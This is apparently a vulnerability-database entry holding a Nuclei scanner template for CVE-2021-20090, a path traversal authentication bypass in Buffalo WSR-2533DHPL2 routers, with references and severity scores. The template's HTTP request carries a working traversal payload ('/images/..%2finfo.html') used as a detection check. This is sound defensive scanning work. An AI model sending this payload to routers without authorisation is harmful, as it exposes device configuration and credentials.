Buffalo WSR-2533DHPL2 - Path Traversal
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 | CVE-2021-20090 | 29 Apr 202100:00 | – | attackerkb |
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 | Joint Advisory AA22-279A and Vulristics | 21 Oct 202220:10 | – | avleonov |
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 | Buffalo Router Path Traversal (CVE-2021-20090) | 9 Nov 202100:00 | – | nessus |
10
id: CVE-2021-20090
info:
name: Buffalo WSR-2533DHPL2 - Path Traversal
author: gy741
severity: critical
description: |
Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
impact: |
An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information.
remediation: |
Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2021-13
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
- https://nvd.nist.gov/vuln/detail/CVE-2021-20090
- https://www.kb.cert.org/vuls/id/914124
- https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-20090
cwe-id: CWE-22
epss-score: 0.99983
epss-percentile: 0.99982
cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: buffalo
product: wsr-2533dhpl2-bk_firmware
tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable,vkev,vuln
http:
- raw:
- |
GET /images/..%2finfo.html HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/info.html
matchers-condition: and
matchers:
- type: word
words:
- 'URLToken(cgi_path)'
- 'pppoe'
- 'wan'
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502201790af050a9d47afdf2d97a396ec4abdecbbeeaf67219636453d5fd21b467652022100e7b8b0162f90961b7de178aae8c5a70891986bc5d0610ca20dd3b6b335c6a508:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 3.19.8
EPSS0.99982
SSVC